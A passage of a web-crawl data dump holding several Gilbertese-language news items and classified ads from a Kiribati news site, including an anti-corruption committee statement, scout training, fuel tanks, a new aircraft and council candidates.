2015\n536a\n29.68\n$1,000.00\n$29,680.00\n$89,040.00\n2016\n536a\n29.68\n$1,000.00\n$29,680.00\n$29,680.00\nIKOTA\n$325,567.34\nNi mwakurian aio iroun te ACSC ao e kaotinakoa ana babaire bwa e na kakaeaki taekan te aba aio ao ngkana e noria te Tautaeka ae Tobwaan Kiribati bwa e a aki kainnanoaki ao e riai ni katokaki te riiti.\nEng, e bon rangi ni kakaongora te rongorongo aio bwa e kakoauaaki iai bwa ngaia e rangi ni manena mwiin ana mwakuri te ACSC bwa e kona ni kunea te bwakamwane ae kanga ai aron te \"BWARAUA\" are e a tia n aki tararuaaki ao ni kawakinaki iai ana mwane te botanaomata n te mwaiti ae $325,567.34.\nNgke arona bwa a tabwanin riitin ririki aika man 1989 nakon 1994 man te Botaki n Aba (Lands) ma boona n teuana te eeka ae $100 ao e na kona n otinako te mwaiti ae $17,808. Are nanona ngkanne bwa ngkana e ikotaki $17,808 ma $325,567.34 ao e na riai n reke te ikota n ware ae $343,375.34\nNgke arona bwa e aki tei te Komete Ibukin Katokan Waaki n Kamangao ao n Aonikai Nakon ana Bwai te Botanaomata ao e na reitinako te bwakamwane ae ai bon akea etina, riaina ao tamaroana.\nNi moa man te ririki aio 2017 ao e kakaitau te ACSC bwa e a mano ana mwane te botanaomata ngkai e a toki te bwakamwane aio. E uara e aki riai katean te Komete aio? Ko a bon kaeka ngkoe are ko wareware bwa e na bon rangi n kakaongora riki are mai iroum.\n3. Rinanoan ao karaoan kakae iaon mwakuri ni kamangao ao n aonikai irouia Taan Kairiiri tiaki te bwai ae e bebete. E tangira te mwakuri ma te karaurau ibukin kaotinakoan te ribooti ae e tabwanin raoi ao n aki tabeitera.\n4. Iai ana Ribooti te Komete aio (ACSC) aika a tia n otinako aika 4 mwaitiia ni bowiin auti aika a nako. A tuai n reke maroroakinaia bwa e rangi n mwaiti ana kanoa te Auti. Mai ibuakon aikai bon taekan te Minita n te Mwane ni kawai are te kantaninga bwa e na kona n ongoraeaki ni bowiin te Auti ae na roko, 13\/4\/2017.\n5. E bon mimi te Komete bwa a teimatoa kaain Boutokaan Te Koaua (BTK) n uneakina aia koaua ae e riai ni kamaunaaki te ACSC. Bon ana tabeaianga te Komete aio ae ACSC bwa tao e bae n iai te maroaa irouia kaain BTK? Ke tera raoi oin aia kantaninga!\n6. E taekinaki bwa e rangi n uarereke ana ribooti te ACSC. E kakawaki bwa e na mataata bwa tao aekakira matenin te ribooti ae tangiria BTK? E taku aia rongorongo kaain BTK bwa te Komete ae te ACSC e karaoi ana Ribooti ni kabwara bae! E kakaongora aio bwa are a tia n reke irouia ribooti aika aua aikai. E a bon rangi n kangare te aekaki n rongorongo aio. E mena ngkoa ao ngaia tao bon iai raoi aan tabekan aio bwa ai bon te bakantang ai ngaia are a bon reianako ao n tobitiia nako n akea te karaurau moa n iango bwa bwaai ake a na koroi n aia beeba ni kaongora a boo ma aongiia ke ai bon ngareakinaia riki?\nAio te titiraki ae e kakawaki ae e bon riai moa ni karaua n iangoia BTK imwaain ae e kateia bwa ana titiraki. Kaain BTK e riai n teretere bwa karaoan te ribooti e kakawaki bwa e na aki kabanea te tai warekana ngkana e nang kamatentenaki n rangi ni kamwaitaki baana ao ai bon akea nanon karawataan baan te ribooti anne. N ana koaua te ACSC ao e kakawaki bwa ana ribooti ngkana e kaotinakoa ao e na kaei ake bon oin ma boton raoi are e kan ataia te Maneaba ni Maungatabu ao te botanaomata. Are a mwaiti angan ma korean taian ribooti. Tao e mena ngkoa ao ngaia ti teuana ae a ataia kaain BTK!\nBon akea nanon ae na kamatentenaki te ribooti ngkana ko kona ni kaotinakoa ae e manii ao ni bebete naba warekana.\n7. E taekinaki naba bwa iai tabeman Taan Tei aika a mena n ana Bwatei Tobwaan Kiribati bwa ngaia naba taan kamangao. Ngkana e uringaki imwaain ae e waaki ACSC ao e kanakoa ana katanoata nakoia te botanaomata ni kaungaia bwa a na karokoi ribooti ibukiia Taan Kairiiri ake a kakoaua bwa a tia ni karaoi kamangao ao mwakuri n aonikai nakon ana bwai te botanaomata. Are nanona bwa akea ae e totokoaki ngkana iai nanona ni kan ribooti nakon te ACSC. E teimatoa te Komete ae te ACSC ni kaungaia te botanaomata bwa a na:\n– koro reta nakon te Anti-Corruption Select Committee ni katerei raoi aia bukibuki ni kaineti ma te Tia Kairiiri are e a tia n karaoi mwakuri ni kamangao ao n aonikai nakon ana bwai te botanaomata.\n– E rangi ni kakawaki naba bwa te tia koro reta e na kaota moan ao kauouan arana ao n tiaaina ana reta.\n8. E a tia n roko ana reta aia Tia Kairiiri kaain BTK ae MP Titabu Tabane (Tia Tei mai Tabiteuea Maiaki) ibukin bukibuki nakon te Minita n te Aono n Raina ma Rawaki ike e kaaira iai te reta ma bukibuki ake a karauaki raoi n karinanaki. E rangi ni kukurei te Komete ni butimwaea kanoan te reta aio iaan ae e kakawaki bwa e bwaka iaan tabena. Te bwai ae e aki oota iai te ACSC bwa nanona te Tia Kairiiri n BTK ao Taan Tei ni kabane ake a mena inanon te Bwatei aio a tia n noora ao ni kakoaua kakawakin tibwangan te Komete aio (ACSC). Ngke arona bwa e kabanetai ao akea uaan tibwangan te Komete aio ao te Tia Kairiiri n BTK n ikotaki ma Taan Tei ake a riki bwa kaaina a na bon aki kona naba ni kabanea aia tai ni koroboki ibukin ukeran te case aio. Ko rabwa te Tia Kairiiri n BTK ni kamatoaan raoi kakawakin tibwangan ACSC are e a tia n anganaki iroun te Maneaba ni Maungatabu.\nE bon mimi naba nanon te ACSC bwa n Tautaeka aika a nako ao iai naba ana Komete aika e katei. Anne kanoan aron ana taratara te Tautaeka inanon te tai teuana ma teuana. E kakawaki naba bwa are e tuai man toki nanoia kaain BTK n tiriburea aron katean ACSC ao a aera ana Komete te Maneaba ni Maungatabu ake tabeua ngkai ko bon tuai naba ni kona ni merei n aron te Komete Ibukin Tararuaan ana Mwane te Botanaomata (Public Account Committee) ao te Komete are e tabe ma Bibitakin Kanoan Boong (Climate Change Committee)? Tao n am kabanea n tamaroa ao ni warebwai ao bon tii aika uoua aikai aika a bon riai kateimatoaaia? Ke tao te Komete Ibukin Bibitakin Kanoan Boong ko aki kona ni mereia bwa are natim ae ko kariki matana? Ke ibukina bwa am bobou ke am karianako?\nE kakawaki te karaurau imwain ae ti nang angan te botanaomata ara rongorongo bwa are a oota ara botanaomata ao a bon aki kona ni burebureaki ao ni mwamwanaaki.\nKabanea angin nanomi n tuangiia kaain Kiribati bwa tera ae kam kona ni karaoia ibukiia ni karakaa maeuraoia, toronibwaia, mwengaraoia, rikirakeia, kabwaiaia ao ami taeka ni kaunga bwa a na kamarurungiia ni mwakuri bwa ngaia raoi oin koron bukin iango ma kantaninga nakon ae kam nang kairi ootaia nakon nanon te kinono are nnen te kangenge wii ma te takaakaa.\n9. N ana koaua te ACSC ao a aki kaawa taani mwakuri ake a tia n aonikaiaki n aia mwakuri ao ni kabaneaki n akea bukina ae e tamaroa. Aio ae e rangi ni kaungaaki ni karaoan taben te Komete aio bwa a na karokoaki rongorongo n aekakin aio n te aro bwa e na kona ngkanne te Komete ni karaoa ana kakae iaona. Imwiin ana mwakuri ni kakae te Komete ao ngkana e kunea bwa e aki eti aron te kababane anne ao ane e na karaua ni katerea raoi n ana ribooti iaan ana kukune ao n anga naba ana iango ni katamaroa bwa tera ae e riai ni karaoaki ibukin te tia mwakuri ane e a tia n aonikaiaki ke ni babakanikawaiaki anne.\nAna kantaninga te Komete bwa ngkana iai te ribooti ae e na kaoti nakon Bowiin Te Maneaba ni Maungatabu aika a na roko ao e na rangi ni bebete aron boutokaan aio man BTK.\n10. Te ACSC katabeana iaan tibwangana man te Maneaba ni Maungatabu n aron ae e teretere n ana TOR, e aki katauaki bwa e na bairei taekaia taan bukinaki. Te bwai ae e mwiokoaki iai bwa e na karaoi ana kakae ao n uoti nakon te Maneaba ni Maungatabu rinanon ribooti ni katerei ana kukune ao ana iango ni katamaroa. Iai ngkanne taben te Tautaeka ane e nang kona ni karaoi imwiin tian uotakirakean ana ribooti ao maroroakinana n te Maneaba ni Maungatabu. Tiaki taben te ACSC bwa e na motiki taekaia ke ni katuuaia Taan Kairiiri ma e na uotirakei ana ribooti nakon te Maneaba ni Maungatabu ni katerei mwiin ana kukune ao ana iango ni katamaroa. Taben te Tautaeka bwa e na kaekai kanoan ana ribooti te Komete aio ao n angan te Maneaba ni Maungatabu bwa engaa ake a riai karokoaia ke uotaia nakon te bowi. Man mwiin ana babaire te bowi ao e nang tibwa kona ngkanne ni kamatoaaki bwa e bon kairua ke e aki te tia bukinaki.\nA bon bane n ataa aio kaain BTK ma tera ae e riki? A kukurei nanoia koraki aikai ni kan kaminoi otaia te botanaomata? Tiaki anne te anua ae e tangiria te botanaomata.\nE aki boou aio bwa aio naba aika a kakaraoaki ni Komete Ibukin Rinanoan Waaki ni Kamangao n Auti n Tei aika a bubura n te aonaaba. Aio taben te Maneaba ni Mauangatabu ae e onoti ao te katuua ke te rekenikai taben te Bowi are inano ke are ieta (Magistrate Court or High Court) ni baireia.\nAna kantaninga te Komete Ibukin Rinanoan Waaki ni Kamangao ao n Aonikai nakon ana bwai te botanaomata bwa e a mataata raoi moa nakoia kaain BTK ao ai moarara riki nakoia kaain Kiribati ake a tia n aki kabwaranakoaki raoi nakoia bonganan, kakawakin ao manenan tibwangan te Komete aio.\nNgkana ngkoe TT Ioane ko teimatoa n nano uoua n ai aroia kaain BTK n aia maroro inanon te Maneaba ni Mauangatabu bwa am koaua iai Taan Tei tabeman aika a irekereke ma te kamangao ao aonikaian ana bwai te botanaomata ae a mena ngkai n ana itera te Tautaeka ao e rangi ni kakawaki bwa e na katereterea riki kaua, katen ke te ka-10 n tai te Komete aio ae ACSC aron kawaim ae ko na toua ibukin uotan am bukibuki ni kaineti ma Taan Tei ane ko mwaneweia.\nNgkana ko ataa taekan te $100,000 ibukin ana Auti n Takataka Teraina ke ngkana ngkami kaain BTK kam ataia ao tai tabwara ni karokoa retana ma kabwarabwaraana nakon te ACSC. Ti tauraoi ni karaoa naba te case anne.\nBwanaan te Komete aio ni kaungako TT Ioane, kaain BTK ao bon te botanaomata bwa kam rangi ni butimwaeaki bwa kam na koro reta ao karau raoi ni katerei ami bukibuki ni kaineti ma Taan Kairii aika a tia ni karaoi waaki ni kamangao ao n aonikai nakon ana bwai te botanaomata nakon:\nTe Tia Koroboki\nAnti- Corruption Select Committee\nManeaba ni Maungatabu\nAmbo, Tarawa.\nUringa bwa ko riai ni kaota moan ao kauouan aram, am tabo ae ko mena iai, am emeeri ngkana iai, nambwan am mobile ao ai am tiaaina.\nTekeraoi inanon karaoan tibwangami aika a kakaokoro ao n ami ibuobuoki ibukin katokan te mwakuri ni kamangao ao n aonikai nakon ana bwai te botanaoamata.\nAnti-Corruption Select Committee\n07\/3\/2017","id":"","dump":"CC-MAIN-2017-47","url":"https:\/\/kiribatiupdates.com.ki\/2017\/03\/14\/kaekan-ana-rongorongo-btk-iroun-te-tautaeka\/","date":"2017-11-23T09:09:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934806768.19\/warc\/CC-MAIN-20171123085338-20171123105338-00003.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":2546,"character_repetition_ratio":0.073,"word_repetition_ratio":0.008,"special_characters_ratio":0.233,"stopwords_ratio":0.416,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Katanoata.\nTe booti e tauraoi ni kabonakoaki.\nIai tewana te boti te kai ae 17 te buti abwakina ma intinna te 40hp ae tauraoi ngkai ni kabonakoaki ao e kona n noraki aio I Nanikai iroun Eria Morei tabon Nanikai nako Bairiki. Boona ti $7,000 ao e kona ni kawaraki te owner I Nanikai.\nAran te boti Liahona ao e kona n neweabaki n ana tabo I Nanikai.\nKam rabwa.\n………\nELMA Cakeshop! Elma cakeshop!\nKeeke ibukin bobotaki, kanuringa, katekeraoi, rekenibong, te mare, MOU, ao butimwaai ma picnic ao are ko bon iangoia.\nA tatauraoi ngkai n taainako keeke ni kabonakoaki ibukin bobotaki n aekaia nako iroun ELMA cakeshop n te supermall I Bairiki Tarawa.\nKabaea ngkai am keeke iroura n te supermall ke bon tarebonira iaon te nambwa m73014840 ke bon roko kawarira I Bairiki n te supermall. Ti uki man 8am nakon 9pm. Ni katoa bong.\nKam rabwa ao tia boo ikekei.","id":"","dump":"CC-MAIN-2017-47","url":"https:\/\/kiribatiupdates.com.ki\/2017\/10\/18\/katanoata-3\/","date":"2017-11-23T09:04:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934806768.19\/warc\/CC-MAIN-20171123085338-20171123105338-00123.warc.gz","language":"gil","language_score":1.000009656,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000096559524536}","num_words":151,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.331,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"by online editor\n2. E wakinako te reirei nakoia taan kairiiri n te tikauti.\nE a tia ni wene inanon ana kainibaire te Botaki n Tikauti iaon Kiribati n te ririki aei bwa te reirei nakoia mataniwin tikauti ni kaawa nako iaon Tarawa Teinaninano ma Betio bon teuana ma ibuakon kanoan ana road map are e tei ngkai bwa kanoan te ririki 2017.\nE taekinna Amon Timan, Scout Commissioner Kiribati nakon KU bwa inanon ana waaki te komete n tararua ni karikirakean te Tikauti iaon Tarawa ma Kiribati ao e kakawaki bwa e nang manga waaki ngkai te reirei nakoia mataniwin Tikauti. E reitia riki n taekinna bwa e a tia ni koro bukin aio n te ka2 ao ka3 ni kuata Q2 ao Q3 irouia ataei ke Cubs scout ma e na reitinako aio ni karokoa tokin te ririki aei 2017 nakoia mataniwin Tikauti.\nN reitakin Kiribati Updates ma te Mataiti Bwebwe, te training commissioner Scout ao e taekinna bwa e a tia ni waaki te reirei ke te training ae e onoti nakoia kaain Temanoku Boys scout imwain te Runga ae nako ao man tia naba ni katoka metera ae te membership n te kaawa n reirei aei. E taekinna riki ao ni kamatoa Mataiti bwa anne moa te reirei nakoia ake a tibwa waaki ke ni Karin n te kirabu n Tikauti ae Temanoku ao are e kairaki iroun aia tia kairiiri ae Bejamin Tokam Tataua ma I Betio. E waaki te reirei iaon rongorongon te Tikauti ngke e moan kateaki iroun Lord Baden Powell I Engiran ao n rinanon ana berita te Tikauti irouia Cubs ao Scout ao tabeua riki.\nN te tai aio ao e na kerake te waaki n reirei nakoia taan kairiiri n te Botaki n Tikauti iaon Kiribati are e na karaoaki nakoia naake a bon tia n Tikauti ao naake a kan Karin bwa taan kairiiri n te Tikauti. E taekinna riki Mataiti nakon Kiribati Updates bwa kanoana e bon boboto iaon ana berita te Tikauti, skills ke kabaebae n te robu, karaoan te flag break ceremony ao tabeua riki. Ma e taekinna ao man kamatoaki iroun te Amon, te matanniwi n tikauti iaon Kiribati bwa iai teuana riki te reirei nakoia taan kairiiri n te Tikauti iaon Tarawa ma Betio ao naake a kan Karin iai ma iaon aba nakon te Kaonobong ae imwaira aio 18\/11\/2017 ae na manaki man te aoa 10 am ao man kainaki te reirei aio n te bwakantaai naba anne n te aoa 3pm. E anga bwanaana Amon nakoia kaain Kiribati ake a tia n reke aia metera iaon te kairiiri ngkoa bwa a butimwaeaki ni kabane ao nakoia naba naake a kan riki bwa taan kairiiri n te Botaki n Tikauti n aia tabo ke kaawa ake a mena iai.\nN te tai aio ao iai kirabu n Tikauti ake a rangi ni maeureirei iaon Betio, Eita ao n te KTC I Bikenibeu.","id":"","dump":"CC-MAIN-2017-47","url":"https:\/\/kiribatiupdates.com.ki\/2017\/11\/11\/e-reitinako-te-kataneiai-n-te-tikauti-iaon-kiribati\/","date":"2017-11-23T09:21:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934806768.19\/warc\/CC-MAIN-20171123085338-20171123105338-00224.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":484,"character_repetition_ratio":0.092,"word_repetition_ratio":0.0,"special_characters_ratio":0.213,"stopwords_ratio":0.382,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"by online editor\nE na borau ana tiim KNOC nakon te Kanimabong aei 20\/10 nako Maiana ni kawana ae Tebangetua iaan kakatauraoi imwain butin ana kai ni biri te Ueannaine ke te Queen's Baton Relay nakon te kawa aio are iaon kawaina ngkai n roko I Kiribati.\nBukin te mwananga aio bwa e na karaoaki te boraraoi imarenaia rabwata aika uoau aika ibukin uotakin te kai aio n rpokona I Kiribati. Tebunginako bon teuana kawaina are e na karoko iai ana kai ni biri te Ueannaine.","id":"","dump":"CC-MAIN-2017-47","url":"https:\/\/kiribatiupdates.com.ki\/2017\/10\/20\/e-teke-nangin-maian-irouia-kaain-te-knoc\/","date":"2017-11-23T09:15:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934806768.19\/warc\/CC-MAIN-20171123085338-20171123105338-00269.warc.gz","language":"gil","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.000009298324585}","num_words":85,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.202,"stopwords_ratio":0.365,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"by Online editor.\nKOIL\nE katautauaki bwa e na kaukii ana tangke aika a boou ana kambwana te tautaeka ae KOIL n 10 Ritembwa n te ririki aio ngkana arona bwa a bon tia raoi aron te katamaroa nakoia ma ngkana aaki ao e na iai te bitaki nakon te tai anne.\nNi marooroon te Kiribati Updates ma Nei Rube Eromwanga ngaia te CEO n te kambwana aio ao e taekinna bwa aikai tangke akea a rangi ni korakora kainnanoaia n te tai ae waekoa ngkai tangke ake mai imwaina a bon kan aki bongana bwa a rangi ni buakaka ao e aki tau bwa e na mena te bwaa inanona.\nIai nimaua mwaitin tangke ake a tia ngkai ni karoaki n iteran te aobiti mai moa iai aika a bubura ao iai naba aika a bon tau buburaia.\nE ngae n anne ao e taekinna riki Rube bwa tangke aikai ngkana a tia raoi aroia ao ana bon kanoaaki n taian bwaa bwa ana tiku inanona ao ana kakannaaki nakon taian turam ngkana e a roko kainnanoakina.\nTangke naba aikai ana bon riki bwa tauan bwaa n te tai ae e rangi ni maan are e na kona ni manga taninga rokon te bwaa are imwiina man te kaibuke.\nAikai tangke ni bwaa aika rangi ni kakamaaku ao n kanganga aroia bwa n te tai are e bure naba iai aroia ao ikanne are e na kona n karekea te kanganga ae bubura ao ana ko na naba n rotaki aomata aika a mwaiti ao riki ake a uakaan ma te tabo aio.\nE ngae n anne ao e taekinna riki neiei bwa kanoan te kaukuuki are e na karaoaki iai taian marooroo ake ana karaoaki riki ibukin rongorongon kaukakin tangke aikai ao irua ake ana roko n ira kanoan te kaukuuki aio bon irua man te tautaeka, kautuun Aro ao ai bon taan Tei man abaia man taabo aika a kakaokoro n aron Taiwan, Nutiran ao Aotiteria.\nAio te bong ae e rakai baana ngkai tia kauringa naba iai koron arak a-30 n ririki n roko ao n te riki bwa ana kambwana ngaira te tautaeka mai imwiin te tai are tia katukaki n arora iai.","id":"","dump":"CC-MAIN-2017-47","url":"https:\/\/kiribatiupdates.com.ki\/2016\/11\/17\/a-taubobonga-ana-tangke-ni-bwaa-te-koil\/","date":"2017-11-23T09:09:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934806768.19\/warc\/CC-MAIN-20171123085338-20171123105338-00170.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":367,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.213,"stopwords_ratio":0.425,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"by Online editor.\nE a tia n I boobonga raoi ngkai aron katean te Aro ae boou iaon Kiribati ae aranaki bwa Harno church.\nTe I Kiribati are e iangoa te waki aio e bon kabotoa ana koaua iaon te wirikiriki nakoina ma irouia te utu n Uea teuana I Karawa ao man rereitaki ma ngaia inanon te tai teuana ma teuana.\nTeuaio bon Edward Corie ao kaain Maiana ao e taekinna nakon KU bwa reken aio irouna ao e kona n riki bwa te tia mamata n atakin bwaai ake e kaongoaki.E kinaki naba ngkai ana waaki aio iroun MWYSA ao e bon wakinako ana katoki aoraki nakoia aomata ake aki toki aorakia n aia Aro,\nIai kaain ana Aro aio ae nakon tebubua mwaitia ao e tauraoi naba ni butimwai aoraki ake a tangira te ibuobuoki nakoia. E aki rangi ni master te baibara ma arana ana Aro aio e bon reke ma te Baibara ni bokin aae Etekiera.\nIai ana tabo ae kona n reke iai ke ana aobiti I Bikenibeu.\nMan ana itera te KU ao aio ai tibwa te moan bwai ae boou nakon Kiribati n te ririki aei.NI kaeineti ma te tua iaon teuana te Aro bwa ena reg iaon Kiribati ao iai itera tabeua ae kainanoaki te Aro teuana ma teuana bwa ena kakoroi bukina n aron mwaitia moa kaain te Aro imwain teina.","id":"","dump":"CC-MAIN-2017-47","url":"https:\/\/kiribatiupdates.com.ki\/2016\/05\/30\/e-kateaki-te\/","date":"2017-11-23T09:10:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934806768.19\/warc\/CC-MAIN-20171123085338-20171123105338-00308.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":231,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.209,"stopwords_ratio":0.368,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"by Online editor\nE tiku n tei n te marae are I Bonriki n tataninga kibana Dash 8 ana wanikiba Kiribati ae boou.\nE kabaia riki te aba ngkai e a manga roko riki tewana ana wanikiba Kiribati, Dash 8 n te marae are I Bonriki imwin rokona n te wiki ae nako te MOanibong 30\/11\/17.\nNi kaongoan KU ao e roko te wanikiba ae boou aio Dash 8 n te wiki ae nako ma mwaitin kaitekatekana ae 38 botana. Iai te katautau bwa e na kona ni karaoa kibana te wanikiba ae boou aio bon iaon Kiribati ao itinanikun naba Kiribati ngkana e a tia ni karaoaki katekeraoana ao te moan kiba ae te inaugural flight ao a uki naba kawaina ni kibakiba.\nNi kaongoakin KU ao ena kona ni karaoa kawaina Dash 8 nako matiare, Tuvalu ao Biiti, aio ngkoa tein kawain ana wanikiba Kiribati are e kibakiba naba imarena Matiare, Tuvalu ao Biiti ma e akea moa ngkai.\nDash 8 e bon tuai moana kibakibana ngkai e tataninga riki katiaan bebwana tabeua ake ena waaki raoi iai kibana. E nga n anne ao e bon rangi n ingainga nanoia kaain te kambwana ni wanikiba aio man ana itera te tautaeka n ana tabo ae te Ministry of Communications and Transport.","id":"","dump":"CC-MAIN-2017-47","url":"https:\/\/kiribatiupdates.com.ki\/2017\/11\/11\/dash-8-ana-wanikiba-kiribati-ae-boou\/","date":"2017-11-23T09:24:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934806768.19\/warc\/CC-MAIN-20171123085338-20171123105338-00273.warc.gz","language":"gil","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000094175338745}","num_words":206,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.374,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"by Online editor\nOnongaun ma niman mwaitiia naake anga araia ibukin te beku ae te kauntira iaon Tarawa Teinainano ao nakai ake ana taninga mwiin bwiin te rinerine are e na karaoaki n te namwakaina aio.\nN marooroon te Kiribati Updates ma te kiraaka ae Bouataake Tengkam ao e taekinna bwa e a tia ngkai n in booki ni kabaeara ibukiia taan kan rineaki ao ai uana naba ma te boki ibukiia taan rinerine ake ana tauraoi n rineiia aia kauntira are e na manga tobwa kainnanoia inanon te ririki ae imwaira ni karokoa manga banen aia tai.\nE taekinna riki te kiraaka aio bwa n tain te kabaeara ibukiia ake a kan riki ni kauntira ao iai mai ibuakoia ake a bon tebenako naba n riki bwa kauntira ngaiia n reitanako aia beku bwa Raurenti Toatu mai Temaiku West ao Taoaba Kaiea mai Bikenibeu East West ao ake nikirana ngkanne ana tiku n tataninga te rinerine bwa antai ae e na tebenako mai ibuakoia.\nE taku riki bwa iai tebwi ma onoua te mwakoro ae e mwakoronaki irouia kaain Tarawa Teinainano n aron ae Bonriki Mainiku ao ake anga araia Kanimako Momo, Ioane Ioakim, Tiareta Timon, Baberoti Bureaua, Martin Pine ao Marie Iotebwa itiman mwaitiia.\nMai Bonriki Maeao ItuaaBinataake, Nawaia Ruaia ao Timeon Tokarake teniman mwaitiia, mai Temaiku East Ioane Kirion ao Iaareto Kabunare,Temaiku West Raurenti Toatu, Bikenibeu East Takaria Ariera, Nawaia Tekea, Rikaare Bonto ao Nakuau Kararaua, Bikenibeu East west Taoaba Tekaie,Bikenibeu Central Tebwebwe Teraaka, Benita Biira, Kateia Akitinoao Iaokiri Koreaua,Eita East Tataua Tabuke, Munana Teeta, Kourabi Rakunoua ao Tabokai Kiritome, Eita East Tekire Kokoria, Bauro Karianako, Tekeeke Matan, Turui Arouea, Tatonga Teweti, Joshua Tinga, Kaburoua Tion, Tabia Kabaua, ao Iererimo Mwea,Bikenibeu west Teimarawa Itakara, Teunroko Anruti ao Tamuine Mataiao, Banraeaba East Teweti Temata, Tutara Itua, Eria Anruti, KamraratuKabure ao Taoatu Ierite,Banraeaba West Tenukai Timon, Tuake Abiuta, Raunibau Rineaki, Rine Ueara ao ai Tirae Tirae, Teaoraereke East Birikiti Bauro, Mauma Bateriki ao Kirarerei Betero, Teaoraereke west Karaeba Bakati ao Baraniko Tueti Nanikaai Aabo Timeon ao Iareba Teiwaki, Bairiki Tekebu Tataua, Tabura Beiatau, Tebou Burebo, Teririko Anre Marea K Itaia, Tatoa Kaiteie, Atannara Toakai, Makin Tiaon, Teabwabwa Tekabwebwere ao Matirita Mabong.\nAkanne araia kauntira ake ana tauraoi ni manga rineaki ao n taninga bairean taekaia irouia kaain aia mwakoro aika a kakaokoro bwa antai are e na manga reita te beku ke e na bon reitanako ana beku te kauntira are mai imwaina\nE taku riki Bouataake bwa n te tai aio ao iai aine aika taan kauaaba naba nakon te nakoa aio ao aio te nakoa are tobwaan kainnanoia n aia kaawa aika a kakaokoro bwa wiia nakon aia kauntira ngkana iai te kanganga are a kaitibo ma ngaia ke ngkana iai bwaai ake a kainnanoia man te tautaeka ao ana riai n rinanon aia kauntira.\nN te tai aio ao e tuai raoi n reke bwa ningai te tai are e na waaki iai te rinerine ibukiia kaauntira aika a boou ao maanra aia tai ni mwakuri ngkai e aki moa reke rabwatan neiere e tabe ma teitera aio man te MIA bwa e nakonako.","id":"","dump":"CC-MAIN-2017-47","url":"https:\/\/kiribatiupdates.com.ki\/2016\/09\/18\/65-ake-anga-araia-nakon-te-kauntira-tuc\/","date":"2017-11-23T09:13:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934806768.19\/warc\/CC-MAIN-20171123085338-20171123105338-00435.warc.gz","language":"gil","language_score":1.0000082254,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.000008225440979}","num_words":518,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.186,"stopwords_ratio":0.282,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Atun teuana te karaki \"E taenoa te Tangira\" are e koreaki ao m,an kabobongaaki iroun temanna te I-Kiribati ao man anga ana kariaia bwa ena katokaki n te Kiribati Updates ibukia kaain Kirbati, raraona, ma naake a tauraoi ni wareware man te karaki ae karioaki bon ma iaon Kirbati.\nMan te wareware n aron are e taekina te tia korokaraki aio Iaareto Kabunare ao e kamataata bwa man te karaki ao taan wareware ana kona ni kuneaki taetae ni Kirbati aika a boou iai n raonaki ma kaungakin te wareware nakoia kaain Kirbati ibukia rooro ma rooro.\nNakon te bong ae te Kanimabong 15\/8\/2014 ao e na nako moa ana moani mwakoro te karaki aio ae \"E taenoa te tangira\"e koreaki ao man karioaki iroun Iaareto Kabunare ibukin te wareware.\nA butimwaeaki namakin ao titiraki man te karaki aio.\nIkai ao a kaunga naba te koro karaki irouia ara reeti n aomata ake a tatangira te koroboki.","id":"","dump":"CC-MAIN-2017-47","url":"https:\/\/kiribatiupdates.com.ki\/2014\/08\/14\/e-taenoa-te-tangira\/","date":"2017-11-23T09:17:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934806768.19\/warc\/CC-MAIN-20171123085338-20171123105338-00520.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 